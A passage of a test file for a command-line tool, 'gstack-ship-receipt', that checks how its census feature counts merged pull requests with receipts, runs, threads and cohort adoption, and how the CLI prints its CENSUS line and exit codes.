expect(why.length).toBeLessThanOrEqual(200);
expect(why.includes('\n')).toBe(false);
});
});
describe('gstack-ship-receipt census (P7)', () => {
const prs = [
{ number: 1, mergedAt: '2026-10-02T00:00:00Z', body: placeReceiptFirst('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '2/3', run: 'run-a', thread: 'jam_1' } as any) },
{ number: 2, mergedAt: '2026-10-03T00:00:00Z', body: placeReceiptFirst('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '2/3', run: 'run-a', thread: 'jam_1' } as any) },
{ number: 3, mergedAt: '2026-10-04T00:00:00Z', body: placeReceiptFirst('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'unattended', artifacts_consumed: '0/2', run: 'run-b', thread: 'jam_2' } as any) },
{ number: 4, mergedAt: '2026-10-05T00:00:00Z', body: placeReceiptFirst('', { schema_version: 1, head: HEAD, base: 'main', session_kind: 'interactive', artifacts_consumed: '1/1', run: 'run-c', thread: 'jam_4' } as any) },
{ number: 5, mergedAt: '2026-10-06T00:00:00Z', body: 'A PR shipped without gstack.\n' },
{ number: 6, mergedAt: '2026-10-07T00:00:00Z', body: block({ schema_version: 1, base: 'main' }) },
];
test('computeCensus deduplicates by run, counts consumed threads against the cohort, and reports invalid receipts', () => {
const c = computeCensus('o/r', '2026-10-01', prs, ['jam_1', 'jam_2', 'jam_3']);
expect(c).toMatchObject({ merged_prs: 6, with_receipt: 5, invalid_receipts: 1, unattended_prs: 2, consumed_prs: 2, runs: ['run-a', 'run-b', 'run-c'], threads: ['jam_1', 'jam_2', 'jam_4'], consumed_threads: ['jam_1', 'jam_4'], cohort_consumed: 1, adoption: '1/3 (cohort)', durable: 'yes', by_session_kind: { unattended: 3, interactive: 1 } });
expect(c.prs.find(p => p.number === 6)).toMatchObject({ valid: false });
const noCohort = computeCensus('o/r', '2026-10-01', prs, null);
expect(noCohort.adoption).toBe('2/3 (threads seen; no cohort file)');
});
test('census --repo --since reads merged PRs through gh and prints the CENSUS line', () => {
const repo = fixture();
const env = ghShim(repo, {}, prs);
const cohort = path.join(repo.root, 'cohort.txt');
fs.writeFileSync(cohort, '# threads in the measured cohort\njam_1\njam_2\njam_3\n\n');
const r = runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', '2026-10-01', '--cohort', cohort], env);
expect(r.status).toBe(EXIT.ok);
expect(r.out).toMatch(/^CENSUS: repo=o\/r since=2026-10-01 merged_prs=6 with_receipt=5 invalid=1 unattended=2 consumed=2 runs=3 threads=3 adoption=1\/3 \(cohort\) durable=yes$/m);
const j = runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', '2026-10-01', '--json'], env);
expect(JSON.parse(j.out)).toMatchObject({ repo: 'o/r', adoption: '2/3 (threads seen; no cohort file)' });
expect(runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r'], env).status).toBe(EXIT.usage);
expect(runBin(repo, 'gstack-ship-receipt', ['census', '--repo', 'o/r', '--since', 'v9.9.9'], env).status).toBe(EXIT.fail);
});
});